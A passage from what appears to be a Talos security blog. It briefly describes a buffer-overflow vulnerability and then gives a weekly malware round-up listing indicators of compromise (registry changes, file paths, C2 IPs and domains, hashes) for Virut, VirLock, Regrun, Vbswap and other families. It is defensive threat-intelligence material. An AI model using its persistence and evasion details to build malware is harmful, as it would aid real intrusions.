While loading this file, each of the specific elements in the file is copied into the 'cname' element for each item in the 'encnames' array. The 'encnames' array is part of a EncodingInfo structure. The 'encnames' array is of a structure type 'CNAME' with a 'cname' attribute that has a set buffer length of 40. If an element in the encoding file with a length greater than 40 is provided the buffer is overflown. This overflow could be leveraged to potentially gain remote code execution later in the program. Full details of the vulnerability can be found in the advisory on our website.

Coverage

The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.

Snort Rule: 40894, 40895

Today, Talos is publishing a glimpse into the most prevalent threats we've observed over the past week. As with our previous threat round-up, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavior characteristics, indicators of compromise, and how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of date of publication. Detection and coverage for the following threats is subject to updates pending additional threat or vulnerability analysis. For the most current information, please refer to your FireSIGHT Management Center, Snort.org, or ClamAV.net.

Win.Virus.Virut-5898123-1

Virus

Virut is a polymorphic file infector. It has worm behavior and infects external devices plugged to the computer. It contacts C&C servers and it has backdoor functionalities.

Indicators of Compromise

Registry keys created

• HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\winlogon_RASAPI32
  
  • Value Name: MaxFileSize
  • Value Data: 1048576.0
• HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\winlogon_RASMANCS
  
  • Value Name: MaxFileSize
  • Value Data: 1048576.0

Registry keys modified

• HKEY_CURRENT_USER\.DEFAULT\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS
  
  • Value name: ProxyEnable
  • Old Value:
  • New Value: 0
• HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\TRACING\WINLOGON_RASAPI32
  
  • Value name: ConsoleTracingMask
  • Old Value:
  • New Value: 4.29490176E9
• HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\TRACING\WINLOGON_RASMANCS
  
  • Value name: EnableConsoleTracing
  • Old Value:
  • New Value: 0
• HKEY_CURRENT_USER\.DEFAULT\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS
  
  • Value name: SavedLegacySettings
  • Old Value:
  • New Value: Base64 content (verbose)
• HKEY_CURRENT_USER\.DEFAULT\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS
  
  • Value name: ProxyServer
  • Old Value:
  • New Value:
• HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\TRACING\WINLOGON_RASAPI32
  
  • Value name: FileDirectory
  • Old Value:
  • New Value: %windir%\tracing
• HKEY_LOCAL_MACHINE\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE\AUTHORIZEDAPPLICATIONS\LIST
  
  • Value name: C:\Windows\system32\winlogon.exe
  • Old Value:
  • New Value: C:\Windows\system32\winlogon.exe:*:enabled:@shell32.dll,-1
• HKEY_CURRENT_USER\.DEFAULT\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS
  
  • Value name: ProxyOverride
  • Old Value:
  • New Value:
• HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\TRACING\WINLOGON_RASMANCS
  
  • Value name: EnableFileTracing
  • Old Value:
  • New Value: 0
• HKEY_CURRENT_USER\.DEFAULT\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS
  
  • Value name: AutoConfigURL
  • Old Value:
  • New Value:

Mutex Created

• Shqq

Files Created

• %SYSTEMROOT%\system32\drivers\etc\hosts

IP Addresses

• 148.81.111.121

Domain Names

• Sys.zief.pl

File Hashes

• Bc11480f1900f19229113e575f4b46c4036b9b273154ee99e0e39811f4cc1a67
• 95435becfd04b78d802007b89c05430961e7a73f9b042c2dbd0f3eac1e964323
• A81039813c7d6b4ea098e9cbeee6063b240cd2475622b8ebe0a3c3ce906924c5
• 87e0d38d7cd7863ec43cfcc81a439b9edeb45cd7e9080b045a16bfc648383d39
• 6ff496d70284e2308caf6024da5faff8322f04cb81b317d747244fe5e24a3b6c
• c6c04fe371acec11c87b16a5e299fc72fb2c8f4636f566540df27960c996f01f
• F2c8a75a1d7b7e3dca477897741619b19f946258c42364271cf19a7b0233da90
• Ad7bd34ca44579e10c9aaaa8660d0f14d9861cabdbecd9847908aa2d68a16581
• 58a11dddfc23f9bf54580f79bfde40c930d0028c25be3d1033d178d6ccd5fa7e

Coverage

Detection Engines

ThreatGrid


Umbrella

---

Win.Ransomware.Virlock/PolyRansom

Ransomware

VirLock is a polymorphic ransomware that not only encrypts the files available in the system, but it also infects them by inserting a modified version of its own code at the beginning of each file. More specifically, it will replace each file by an executable disguised as the original file, with the same icon and its "exe" extension hidden. Once executed, it will infect the system and show the contents of the original file. Additionally, it locks the screen and asks the user to pay a ransom. It will try to connect to google.com to check if it gets redirected to some localized google page such as google.co.uk or google.au. It will also try to spread to network shares or cloud storage platforms, in an attempt to increase the damage and potentially infect other users that may inadvertently open shared infected files.

Indicators of Compromise

Registry keys created

• HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run
  
  • Value Name: [A-Za-z]{8}.exe
  • Value Data: C:\Documents and Settings\All Users\[A-Za-z]{8}\[A-Za-z]{8}.exe
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  
  • Value Name: [A-Za-z]{8}.exe
  • Value Data: %SYSTEMDRIVE%\Documents and Settings\%USER%\[A-Za-z]{8}\[A-Za-z]{8}.exe

Registry keys modified

• HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
  
  • Value Name: HideFileExt
  • Old Value Data: -
  • New Value Data: 1
• HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
  
  • Value Name: Hidden
  • Old Value Data: -
  • New Value Data: 2
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  
  • Value Name: EnableLUA
  • Old Value Data: -
  • New Value Data: 0
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  
  • Value Name: Userinit
  • Old Value Data: %SYSTEMROOT%\system32\userinit.exe
  • New Value Data: %SYSTEMROOT%\system32\userinit.exe%SYSTEMDRIVE%\Documents and Settings\All Users\[A-Za-z]{8}\[A-Za-z]{8}.exe,

Mutex Created

• \BaseNamedObjects\[A-Za-z]{8}
• \BaseNamedObjects\[A-Za-z]{8}

Files Created

• C:\Documents and Settings\All Users\[A-Za-z]{8}\[A-Za-z]{8}.exe
• %SYSTEMDRIVE%\Documents and Settings\%USER%\[A-Za-z]{8}\[A-Za-z]{8}.exe
• %TEMP%\[A-Za-z]{8}.bat

IP Addresses

• N/A

Domain Names

• N/A

File Hashes

• 9a55023dc479233a728dac2fd788b3e8b5a86091fcbcb575bbf3549189fb173f
• c2eb5753f3c1d70adb4d8e11c7180944005b1be32093b52dc1072a7c5e95f108
• fdc83ee924f41ee0ac707ec41b0712fa881894d24151a1a451410e8cff297af2
• 30761603de368bc7c94a9ec35ff7e8aeedb8ae13eb366936a3b50885fd9e39df
• 29174fab1e53c84fd99e0fb3f9e3c4c231dd94ae33db2cacf6dc82fdb9b21c60
• 1f68643772f3bb8ce75bbc746bc0b9b3f096a094f2141062ec75b1bfd15101fc
• 834c8e26451949144917b41f35dc870b1f8a07d195492f116fb7d4a1fc4d464e
• 0ad9fc8f59b3734213d1149b01256bdb54200f4ecfb0923275d2c7030d8c96d5
• 3373e7d31d28847f80bebf3c07a1e6502950403129f2491f933e6574a8f92a40
• 3fb92233eedaf5e35a9ef5d28e4c28209b656733e2690ec92449628651b959d6
• 2e26c2a3f9bf0637b3738adaa615632e7e68130190609dafd0db37e7ab9a37af
• 1326226d66db6702a8fdd2a4271ad5bc1213575b39a7529dce6e8a71c0a9ac77

Coverage

Detection Engines

AMP



ThreatGrid



Malware screenshot

---

Win.Worm.Regrun-6012730

Worm

Regrun is a worm family replicating itself on disk drives and USB keys. It disables access to the registry editor and changes the shell program when the system is booted into safe mode. Regrun maintain its persistence by modifying registry keys. It also perform files associations to be launch with.

Indicators of Compromise

Registry keys created

• HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
  
  • Value Name: MSMSGS
  • Value Data: %USERPROFILE%\Local Settings\Application Data\WINDOWS\WINLOGON.EXE
• HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\SYSTEM MONITORING
  
  • Value Name: System Monitoring
  • Value Data: %USERPROFILE%\Local Settings\Application Data\WINDOWS\LSASS.EXE
• HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\SYSTEM MONITORING
  
  • Value Name: LogonAdministrator
  • Value Data: %USERPROFILE%\Local Settings\Application Data\WINDOWS\CSRSS.EXE
• HKEY_CURRENT_USER\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM
  
  • Value Name: DisableCMD
  • Value Data: 1
• HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
  
  • Value Name: ServiceAdministrator
  • Value Data: %USERPROFILE%\Local Settings\Application Data\WINDOWS\SERVICES.EXE
• HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
  
  • Value Name: xk
  • Value Data: %SystemRoot%\xk.exe
• HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\BATFILE\SHELL\OPEN\COMMAND
  
  • Value Name:
  • Value Data: "%SystemRoot%\system32\shell.exe" "%1" %*
• HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND
  
  • Value Name:
  • Value Data: "%SystemRoot%\system32\shell.exe" "%1" %*
• HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\PIFFILE\SHELL\OPEN\COMMAND
  
  • Value Name:
  • Value Data: "%SystemRoot%\system32\shell.exe" "%1" %*
• HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\LNKFILE\SHELL\OPEN\COMMAND
  
  • Value Name:
  • Value Data: "%SystemRoot%\system32\shell.exe" "%1" %*
• HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\COMFILE\SHELL\OPEN\COMMAND
  
  • Value Name:
  • Value Data: "%SystemRoot%\system32\shell.exe" "%1" %*
• HKEY_LOCAL_MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT
  
  • Value Name:
  • Value Data: %SYSTEMROOT%\xk.exe
• HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM
  
  • Value Name: DisableRegistryTools
  • Value Data: 1
• HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM
  
  • Value Name: DisableRegistryTools
  • Value Data: 1

Registry keys modified

• None

Mutex Created

• None

Files Created

• %SystemRoot%\xk.exe
• %SystemRoot%\system32\IExplorer.exe
• %SystemRoot%\system32\shell.exe
• %SystemRoot%\system32\Mig2.scr
• %HOMEDRIVE%\XK
• usbdrive\Data Administrator.exe
• usbdrive\XK
• usbdrive\XK\Folder.htt
• usbdrive\XK\New Folder.exe
• usbdrive\desktop.ini
• %USERPROFILE%\Local Settings\Application Data\WINDOWS
• %USERPROFILE%\Local Settings\Application Data\WINDOWS\CSRSS.EXE
• %USERPROFILE%\Local Settings\Application Data\WINDOWS\LSASS.EXE
• %USERPROFILE%\Local Settings\Application Data\WINDOWS\SERVICES.EXE
• %USERPROFILE%\Local Settings\Application Data\WINDOWS\SMSS.EXE
• %USERPROFILE%\Local Settings\Application Data\WINDOWS\WINLOGON.EXE
• %USERPROFILE%\Local Settings\Application Data\csrss.exe
• %USERPROFILE%\Local Settings\Application Data\lsass.exe
• %USERPROFILE%\Local Settings\Application Data\services.exe
• %USERPROFILE%\Local Settings\Application Data\smss.exe
• %USERPROFILE%\Local Settings\Application Data\winlogon.exe
• %ALLUSERSPROFILE%\Start Menu\Programs\Startup\Empty.pif
• %USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook\~Outlook.pst.tmp

IP Addresses

• N/A

Domain Names

• N/A

File Hashes

• 2cf6386760d97a1d305bb823134d46750a368a248fc872a6242fb41e693fc4ce
• 933af1cae4769bd98e2be1802b423f99ee3d7244b22629c2e607e100fef37036
• b029eb236c2ed1aad84f8e9f6c235fe9c9a6ce758b53dce4fc42425fb4c7e5f0
• 3c588fc0fe07a29c98e2e76bd691b65702dfc1e3db2b9bd164defae8a2f0d8a2
• c3662ca86e76218624e77cd152c10e03c0239765c02ca9bf444a380104f6ea0a
• c05bd9347fed6be886d4e761c847835e25ef4522e9f6d694da4e3644b7877f7f
• 000718e0ca70ca451494c4a1be1a44d4dd9b48b64c55e362825488fea78f25c4
• aea4767879bd12c9605804b4696a2dce1908159182aef78727fee76b5dcd2a21
• 20faecc0f9c6a625992617339ea1f4b700846c867a43ce91060cdb815fff9e79
• bbd9482b09b0eb4377f5f540ef9b4893fcf003b08cab47261916cd31c1b823c6
• 79dd228fd0f5e09bb6842ba127dae26b85a850d20d472641d2af7af5ada96420
• ecaea889b7b4f7a7b4901d947395c16cfcf16a80528ea23ad91769d974cef235
• 460857e975092b0cca4813833cc2e201a5a6b14e0efad96d393c1e9c13f7a0af
• 891aac1d82e6a840cad78239fbe51eda6b6aab6fab967654b388491614a4fc1c
• 5492f7b994994239abd0225afcd62de3666cf109fa0979a4eced0048d4f2592e
• f1aefb4699b89cad56f3f50d26d8d8b39fb200dfcc6e48543e6c8f67165dc629
• f9210ad388fc4aeb0efe91a4701efa2a23fbdffb968c83fb925f96f8d058028f
• 30977d2a2697c802bfe142ab6fcc36a47692320006a5d86b064a178ee49a2817
• 0959547e4a484018a4e8807c8fd92cfb07c3971d328d538a3db745ee6b380ccb
• ac869bfe412125fc96a184d3cabbeba746f2b087d2252242be8c454c36b4817e
• fcbb7562cfbe902f31e7fabca6502ca070b9bcb725d220a08620c7bada7dc7ea
• bcb6d08440e00895f09137783545b57dc53ab2d152d91e1b51ee414b60784bd9
• 9230467d1d5cfaa832aaaf2f463d5ed7c7bc5eeeacf64d6966656e2cd272a2bc
• 2cf6386760d97a1d305bb823134d46750a368a248fc872a6242fb41e693fc4ce
• 376a74efe8a5fc81e8f2d8b45bf8b0eeb0ec2bdf5c0782727fa9b553e13c4875
• 4d0468bb43f4de7459b58c4588573b51a083daec631de97d5dec8a85334c3286
• 312b17a38b57aa5f39ab2e402631dc7e45008b08d5becab228b98764638373b5

Coverage

Detection Engines

AMP


ThreatGrid

---

Win.Trojan.Vbswap

Trojan

Visual Basic credential harvester. After mouse activity is detected, Vbswap searches for stored credentials and server information from browsers, FTP clients, and email clients. Collected information is sent to the embedded server and the Vbswap then self deletes with a Windows Batch file.

Indicators of Compromise

IP Addresses

• 103.11.190.170
• 107.191.35.77
• 131.153.38.169
• 162.219.28.187
• 169.255.57.4
• 185.145.131.104
• 188.40.248.80
• 192.3.140.121
• 207.182.141.194
• 239.255.255.250
• 62.108.34.136
• 62.108.34.162
• 89.111.177.28
• 92.53.96.179

Domain Names

• aumsooria.ddns.net
• Bigzee.usa.cc
• Cb74020.tmweb.ru
• Central.pk
• Chuddie.darkbastardz.durban
• Dms-mos.c14110.shared.hc.ru
• Fingers-ciao.com
• Fingers-ciao.net
• Newgi.usa.cc
• Newsmart.usa.cc
• Obis.darkbastardz.durban
• Perfect-technology.org
• Silverliningbd.com
• Stpowered.com.sg
• Sybanindia.com
• www.stpowered.com.sg
• www.sybanindia.com
• Xavica.usa.cc

File Hashes

• 113484A1416FB4645355A88DC806BA8EC56BB383EFCF932661402A5887E11F2B
• 179719F9828C1BAB0FAC18DCB29FA62AC6B50BEE9846021F66D6235E2ADB4FD3
• 1A871F1FF905ACA5BD9D170E26B50D2B8BCF13622EB8B5BC21D8B5967D6EE010
• 1F77DF59064BDAD8517845253B6705869DBB3386C523D500003D5FE3A79DDCD9
• 2518CBDDA8B91112239A3A59FAEE20FA5F52E6BF34E93D133638CFCD83EE3B03
• 34BA105FF24384F18F193B5ADE74AF41B46A21A547F3DA7213BBF062413D0B24
• 370DD0361D3910A58BCDF78A0BC6DC71D6663FFCBC7EBC63EE514059734688DD
• 3E9AE7180C0ABB04E4DBB2B7478A827DB627A840E6607AC9F8237EDF41DDE7B2
• 44FD5631EC4A4A0C9A106ECF5C12189CF654366357392A279AE0F0D021F4EDE4
• 463D9330C11F729A59C32C01FBCF3FF0A3411E38EEC7080A2AE97BEF9C12A97A
• 47FDB875CB83D86888B7F9EF71CC72E00D99424FC4A7CAF0673F08D3AF204DE7
• 5DE80C52914EACF217CB4A70B7BA32AE40EE69C00C8D5AA3864129C1B2A26F3F
• 681DC2995702C6601BD64CC3A3B917934B1A767A8A9927175C9F87A13A71F2F7
• 6A7967D4F20A85A6A48F6EDAA46C29E86D8E0C0670C76237025B9472E6BA0AA7
• 6B246BB47322560A6C687FACC7C13813FAE14D1855A5F424717BBA54417CD6FD
• 6DD24419EA9EA9651D4F106F39780CD1E24FDAD6211AC7D37DB1C1CB10CDB530
• 72B7699891014CFFDF7A125298632035539809D9F89556612C4A0FD33AAD94D8
• 7447794094631DDAC56B970FB958A42AA6247DED89A2E921BFED294A419CD053
• 86D94403B1D7605E20429972595E938E9F9C3A757148D12A1E9489F02709EBD0
• 8774DF1F9A77486FDC20558BF75C2FE6D03EEE645ADDF0CB92B418DA7F2971B0
• 87A989596824AFCA6A5FA77343942B6C0E718C415EF40683343023D447113EF9
• 8CCE7794F09480FACBD607E12D4DBEC889D86247E620ABD90E32D0C7B9353076
• 9C3EA1B0761A834C6F386EED2EB69D7B64CA533F6D1C76BFFB2EC5BAD3D633A7
• A0A6658C48D56DD29F545735D3320B769874D85B7C703852F539295386F07E8B
• A22FFF831DBF91368997EF0B288A97034C2B88CCC29565A231096522B65FA495
• A27760DA48D0F40C209D104496DD4D80F6EF4E8251CFE7A3B92A9CEE59E7AA64
• A89C6E66052EA3F0E29CE32BE67792A301C4A5B271EA89DF520998C5560E0FDA
• AC2328F2D9117E3C83B0CECE9713EF4F990C43E5E827BA36A25BF2E9C9A9DF4B
• B224B3435F9477FA3B8CC91E10A82426B2BDA4152832A46633EC2F0A32B70522
• B93C7C417393BB701C02227C7B3059356C38A19404B22AD5616F436F785D4B1D
• BA5ECBDBD446CA0FE1CB80C905F6701970B82A857AA669DC776AF7F510649DAB
• D21844A443A88BF09C601980AFCBB479D161DC1970D7AB9559071CD7FAD48FEA
• D63A1B15508BA70B68713429E298006312C3D4975042D3358D61A2ACAAC4D3FC
• D8B2DDA1022BFA34FF47F4850EC040583A535772B8F49A11C4C319C61308F8CA
• F0F1B2E4CEC14CA957D3B79492B6A1E85A6AA811D141B48D3DC7D5B585D5002B
• F24A194934446676F88D6025918928DACAD7EB4AAAAF57BA1A0B5897D2FB9758
• F46CFFA96B66AAB89EDAB21C47B120BF349DF8261379BCE21312914EB8DD42F2
• FED1A307CED537647A117F5A04C2B36DCE5C14F884BA1756240A185045E64C02

Coverage

Detection Engines

AMP 


ThreatGrid


Umbrella

---

Win.Adware.MultiPlug-1

Adware

File downloader utilizing a domain generation algorithm for downloading and installing adware on the compromised computer.

Indicators of Compromise

Registry activity

• N/A

Mutex Created

• N/A

Files Created

• %TEMP%/D.tmp

IP Addresses

• N/A

Domain Names

Domains below are part of a Domain Generation Algorithm:

• 0ydttndat.4wvdi5t7k4.com
• 1ipahq.d8ntvqxqk.com
• 1zh7dpalr.ji1dwuuw.com
• 2vdylhs.o7di8uy4.com
• 7qacdryb.k60pbj4t.com
• 7zhyhhzmvutl.ji1dwuuw.com
• 8phpdwe.o7di8uy4.com
• 9slaax9.o7di8uy4.com
• aehih8lizm.d8ntvqxqk.com
• b9t4dp.tf4svxp2.com
• bedepexlb.ji1dwuuw.com
• bmt0tgxu.1eitpwrz.com
• csddh8fntx.ji1dwuuw.com
• e5dwdqdso.f5usp00wmh.com
• eatttvvli.nd29ok7.com
• fhpjp8.ji1dwuuw.com
• fjadlx0r.nd29ok7.com
• fllfd7th.hhx153fw.com
• g3trlj5vyt.o7di8uy4.com
• g4hdtcjcmpa.ji1dwuuw.com
• glaoab.o7di8uy4.com
• gppuan.8dmhrkg8.com
• h1lctl.o7di8uy4.com
• hdlsa1r1ed.nd29ok7.com
• k8hwtr.d8ntvqxqk.com
• kjtwl5v4sa61.4wvdi5t7k4.com
• krtopiera.0b72kiq.com
• lat3t9a3ib4h.o7di8uy4.com
• mgaitrt.o7di8uy4.com
• mtallp3.d8ntvqxqk.com
• nbhrdgrstq.o7di8uy4.com
• nwlrdwm5eas.0b72kiq.com
• o3l8dagf.d8ntvqxqk.com
• owlhdjmngqf3.o7di8uy4.com
• pphtam4dz.ji1dwuuw.com
• puduhy37k.3xokbqi51.com
• qhhmhsbsq4bh.n3doj9s.com
• qmavty1ua9ta.shf7xnj59y.com
• r0pkaq.o7di8uy4.com
• r1tzpr.d8ntvqxqk.com
• rypppxdkrktu.o7di8uy4.com
• s3d7acgqgq.i9bkgi2347.com
• sntmhkdgp.1eitpwrz.com
• ubdpa9l0.o7di8uy4.com
• vgh4lpwdtkw.ji1dwuuw.com
• wsa5di.i9bkgi2347.com
• xed4p9r49yhs.o7di8uy4.com
• ydtaaszmc.d8ntvqxqk.com
• z3a1h0.rg2rwk60f.com
• zragtld.d8ntvqxqk.com
• zuanh7rgxde.n3doj9s.com

File Hashes

• 58d7e6427b63c5461ee6813957c198010737c555c0509dee6f65a5686ac4e417
• a7ad35d460afaa831200fdcb947eb8b4bbbf90f676ac69898dfe8a8d3572f05b
• af4936e904b7aef3351793812d9044c50203d7e8387c30e27f16512b5797fdd4
• 862fbaa377c858d06d313bb544c358871cd6bc49befd19fba45c55757e5db016
• 8cf90f6c399bdddf6e2dfffcd3b82b04272ecd1ac5d3eb03b673974e9c3b5a12
• 12874f0c63dc87869f2dadb4a2315aba778e3047cdef8612eb4e7aff11815312
• 149fcc0051cad27b0c9da7d5c5b63cfe1e196f3513d0794211a76da8a67370fa
• 104824a7d07101ef39568843655339859edc47629c1b2ac055b9bdded5362ca2
• e6d02709db0d8dab8c3eeb96f4b6b4556a0365284d3e941a6f3fcf95149dfdf5
• 763c344dafd645b47a7c53c710bb197e81a924fc21e21817f8bbe6c4cfde1df2
• 6ef90c4b1610903f4670933e3f68a0c4cf74b7fd87012cdac61d39b1dbc9ebaf
• 7b27b82f77bccb4624c9f70f17b22be8840aba6b62799394dde3b88e6965663c
• 4ab48e404cb035060560d36eed50508066080e76337de10a4225af45ec2288b5
• e79746062211d88f2d052950f8c78709823804897389c7b5b7da41699544c7af
• 07c5d056f285582db4fd673d24bf993b5f4ba41bc9931b4e89aaecdd5b254f3f
• 382fdcec78aaa6a63ef98bd567b2d326c106ba42a684070f56f9a483de108408
• f4f9723df12b88e4b8b7638e9d31c8cc4754b92b717ed123f50b5c8deeaac826
• fd41588284383c3436a60b5cce7901400218587df810b0bc3c056a5cec11dbf3
• d8e9f29a78ae1d061fadd2beb2a6dc35077c9db75fb7265223aff0eef883af3b
• 583cae2ec3c520eb83127902c05179d7a39386c8fee918189d002a77ff96d1e4
• 56d547e3782abdbc3ab7919a46236a06aa325b16efcccf4e47c2975214dca8d8
• f9b5c37565b822321fc39b93aaec1250cb81d90117d03dc2bc7b37d7af54f719
• e9b99263c1a5fd1c737adccca327ec83887ba04a3bb702d6de0901c6e84ecbe0
• adf5d59ebd7aa6ea3228ae1e9599a9acb1e4b26af186d41358278355ec4477c3
• a74a48ecdff3e6bfc48b3824b1aaac692533ea13bb65fa89efcd655c342f1884
• 328d8a37398c0153c76c998c813ae66a2997ca756d95e3f8906ed979e23ee09f
• b06c1b419768c522fa47e6759db6f23c3440f6720937734115dcc5025fd9ebb7
• 942251f24be282f2af99169c39cd059988cea53ec8d78d0afef39b72e88d62f4
• a287b41ae7eccfb67a3f462456956d4f0fbee61a65fd29f971b9937febe5b2b3
• 9f801cf83a0cd88498cff14d1427cb696486acd2be2dbe95adb8ca5a13476c8e
• 32883572e8c9e7de8c0d73e463fee2cc1538af56cd054588600062ca35f31c17
• 345b0b81a6450394d3e300e15e6bbb3c8c1dc82e3f62e8092dea84178b3a42a8
• 45d2a340dcfe13f12606d6aac7d12abaca5a9b5234311fac444d7d858199e179
• f9ea8979f46a38eab4bfb8b32115ba42bcccd95911cca18995f1d7b24f52f2a9
• f9aefaeaf2f4127709ddb7f72e10140c6842f163b4978d0a3d4bcb5459036564
• fd35ce694f24f5a5f81f697094cbcbd6211cbe3af27220fcff0d3f4b2783e8c3
• 9dee7d5ddf7a4a82263cf92093ffe3ffc7098707ca4941474cf44720e016006e
• 7c54f288699c0a7cd08d7c45e5119a19b9fe7d19ab4ca0c28e27a7a0710a0436
• 251c474da489fb64493cc8b0b19565f674b83bcd643aa0e5f08255ca31a2aa39
• 5f36cbd862d6dc3d824e3931b2e31e64dbfe707f38b7e460ac6c15fca4b45909
• cc9b98adccb100f9b3602381a457c1101993aaa1638a925de60e52e57ebbd145
• 68b1198aa4569fe181b2f11ff602c6203ecb95971e1d4ace65850c9dbf3d9214
• eedeb3bde71c2a1ae5a44cf6858428f0a7eb2924033c8a858a06d4864592d590
• c73a65c56f3fa00fb9cfa13f1175ef73e6f2acaf2ce223c9ac19aa0edd297d43
• 2131d57653f8fe6942348f300836146f8874ddf38a3b26b6be7fa56497f43e07
• 351547796c46eb7d2968c67c97da7449b44dceae50225683b281936039008099
• 36f7ccdce7c2d99f8ed1546ef13e021c6f119e1886786b2c4587d64944432642
• 3052c8b4543fd0453157deaddc1fe39e0b8b231cd6e06cdfd57b3105526470b6
• 62616e1241e3e6ac8bbada082a089cc640c364e3956a11e26d37ee5f9b7c69fd
• 1548fa6d5d5729cd2804c80860c4e3ab45ef86bea9768a6fe2a2bc298a1af8fe
• 4085e30a45421f3faed8b12f2b17c0c384e7efe8a70d97de209878a9b2a82025

Coverage

Detection Engines

AMP



ThreatGrid


Umbrella

---

Win.Worm.Mira

Worm

Mira is a polymorphic worm that spreads by copying itself to several folders on the infected system. It can spread via removable drive, or by mapped network drives. Mira mimics existing files and folders (e.g. C:\WINDOWS) by creating an executable with the same name, then marking the original folder as Hidden. The mimic executables use a folder icon, and open the associated folder when executed. These mimics are easily spotted if Windows is configured not to "Hide extensions for known file types". Mira constantly attempts to add files to all removable drives, which can the operating system to prompt the user to insert a disc into empty CD-ROM drives.

Indicators of Compromise

Registry keys created

• None

Registry keys modified

• None

Mutex Created

• N/A

Files Created

• %APPDATA%\Saaaalamm\Mira.h
• %APPDATA%\[a-z]{5,6}.exe
• %SYSTEMDRIVE%\TEMP.exe
• %SYSTEMDRIVE%\Program Files .exe
• <USBDRIVE>\System Volume Information .exe

IP Addresses

• N/A

Domain Names

• N/A

File Hashes

• 0607f1b1550d5a0a83c486ebf086e773b4b8888a232c5908b904568fe48df73d
• 0714d79b9454cdd30ec105c86b4874e80cefb9b5e2a498d37a4d703e47293741
• 0adafcc57fc8abd80f5aef181cc26c00f38eaaa43ca155610a4075e245a31dc2
• 0b8d7697e15f2b569dc732234e71b2559955ada2f0b1773333ccc4a2505e81fb
• 17e213c496bc1c5886431b2d23202dd5f624c9deb9a931b74dee217348771f91
• 1ab7ec5423bcc0f4ae465c4a9bd777ba918508f39ff0ae4a0337974bc61eaa86
• 1d32e8d719a952f8cf0268a557e0b68133ba37b0af1227b7b13659c242a0ab1c
• 1db3d4d5325d41bf0d27071d9f5bb2155cad292c86524e0525848428b7f90a0a
• 1f5173db3b8f16c694d2c3107114464c683d97130854dc192e0de55b7680b0e3
• 226b1e4f69a14482406fbc2efedb9b214e35040948db532a77222dd467fc679b
• 2346e83c2f5dec1853ce1e2fa51ee899d48855159cb8fd33082bbc094edaa906
• 2447c502c06db3dbd681da38a1b41052466d73ce9a8a4ea2c2a13154a45da276
• 2becc2cfb65f07a29e3bb215fc132421fedc3d98670fb521d22e8497a11f5e65
• 2e35e03ad729e4cf90cfac130666d15913008ead179ac4dcd236e76e56ccbb7c
• 32794a8821773c068b1fbc378572c91fa8b96853ea93a5ba21f8a142b3a1d422
• 33308891d1612d1aa682a6b92a7bb05d0d75c9de4af493727920f1ec02fb2a64
• 333989555071d197a162f96b62f53499a05ee15e3b6a049941368a84ad1d2b14
• 34807d88e19560985575f0c2567d0652f96e8b736752a1332a715fa72cb60dfd
• 37d5751de744ea923584e3e4622e1add179c6d22c29f83105b983cab5f010c01
• 396f5001edc0c013ea746319ab45611b87486b8195ec24a986e4e2d6c16d7ae1
• 3a6543bb86cda6c167f2abaeea0c16f9de864ad7a3f7f55742cf076c7303303f
• 3cb38a00aea4d81935d45601b16ee361634b57b9076abaeb65a09e83cbfc92f7
• 3d7b25e97e08d09260416ecef6fd83cf5f3a70f44711892d9d1311a0666ae849

Coverage

Detection Engines

AMP

 
ThreatGrid

---

Win.Trojan.Vtflooder-5969619

Trojan

The malware is first contacting a domain to get additional data using its MD5 as a parameter. Once it get back answers it attempts to continuously upload a copy of itself to VirusTotal. This family is well known for collecting information and sending them to a remote server.

Indicators of Compromise

Registry keys created

• None

Registry keys modified

• None

Mutex Created

• N/A

Files Created

• N/A

IP Addresses

• None

Domain Names

• vtboss.yolox.net

File Hashes

• 00cdea7d7a2d92a332fc2910478e65115d926f749d8d348bb04757aff5e1c3f4
• 003fe1a731fd2fe5af17b8e7c54762a47130f0f3f70a767e2523b560d4098fba
